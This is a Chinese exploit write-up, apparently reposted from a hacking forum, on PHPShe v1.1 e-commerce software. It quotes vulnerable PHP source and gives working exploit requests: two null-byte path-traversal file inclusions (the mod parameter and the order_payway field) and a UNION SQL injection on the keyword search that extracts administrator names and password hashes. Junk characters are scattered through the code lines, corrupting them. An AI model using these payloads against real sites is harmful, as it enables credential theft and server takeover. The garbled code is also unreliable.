phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
& t) D5 y" [# |5 M/ q( m3 p/* Phpshe v1.1 Vulnerability
/* ========================
6 d( _  w* d' {1 m( J/* By: : Kn1f3
" V* d& T/ V5 @- z  H/* E-Mail : 681796@qq.com
* r8 r' g' n  ~/*******************************************************/
0×00 整体大概参数传输
: }* _- g9 |+ L


//common.php
* V! j3 J/ J  z5 p+ fif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
6 \8 H( M3 T9 c% G* _7 j! Z( M$ Lelse {
3 K; V" a4 C. }; [2 A! ~6 i!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
0 ^  V1 v; @8 s/ s' x}
session_start();
1 E% t% j+ W! M( M) H!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
  i. ]* R* x8 E  H( u8 y!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
1 _! P4 ?3 d) D! {. [7 |
0×01 包含漏洞

/ _: w9 |5 B/ U! t8 A6 o& s- O: z* R
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
7 F) s9 n2 ~! B* b6 K" e* H; c' Npe_result();
$ r3 r1 N# t) d- r% ~& W6 U' w?>
//common 文件 第15行开始
url路由配置
, Y" m0 e$ ~& R. T4 \9 ]6 |! ^$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
- ]' w0 e8 U( @' ]  P2 }6 b$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
* M5 c9 N% P  Y6 H  I$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
0 m3 B) b! P3 x0 @  D//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
- s' \7 G/ L  r6 m5 Q! |

' n2 u- l2 _% e9 U
, s! }7 f7 H# U- W 0×02 搜索注入
* _/ }! f0 U, f8 }6 ~0 [) y& ^
<code id="code2">

//product.php文件
case 'list':
3 m9 s0 R: l9 m) ?: B: `# x$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
* E4 x8 Y/ @; R' \8 ]% Q9 J$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- s$ K; O. u+ F4 _}
( G3 r" e$ s, L0 S% f$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
) J9 M' N" t" k. T: o, Wif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
4 u7 A3 v6 [! U6 y# y* |$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
$ B0 ]4 w6 i" x7 B* M) q}
* U0 h1 M3 m. n; A) [, y/ W) {5 @else {
* O2 \4 v7 y# W5 d1 w, E$sqlwhere .= " order by `product_id` desc";
0 _5 H4 i; J2 J9 c) W' v}
' \# o+ g+ D6 k$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$ m$ L+ x. e0 i4 z7 f: n1 M+ L$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
, T0 ^3 j' }: J- M//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
- n8 D& H- j4 ^! k0 W6 m+ O}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
, @: T6 }7 J0 a2 _2 F6 j

</code>

& [# V0 S: ^$ T. E8 K0×03 包含漏洞2
: U$ e2 u, t7 y  c1 ~& |9 m
<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

- g. s" B" p5 ]8 J$cache_payway = cache::get('payway');

/ y# J: s5 B; X2 N* x' Cforeach($cache_payway as $k => $v) {

# Y! E/ [1 D( @, w2 k: s5 K7 c$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

7 A- a; x6 Q& u9 g$ p$ j, H" e$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

( _- s0 |! B6 M# ~. ^5 g7 p}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

5 q! ^8 K' u  V- i  [  h' H0 H6 U$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

/ {3 Y# K0 z- b; j+ N$order['order_name'] .= "{$v['product_name']};";
' N7 w$ C% l5 l2 A% q- ^

}

echo '正在为您连接支付网站，请稍后...';

1 k% `* f& m9 Cinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

  G( E" ]: |! v% e3 G2 x+ p}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

# W8 [% _) G+ d) N( z5 Ope_error('支付错误...');

}

' v; A$ v/ W- B}

) w, U9 z2 M4 F& K$seo = pe_seo('选择支付方式');

" S: n( A. k) O3 L+ \include(pe_tpl('order_pay.html'));

8 ]5 |0 [4 i& y+ Mbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
; _9 o! i+ h3 E" H6 Hhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg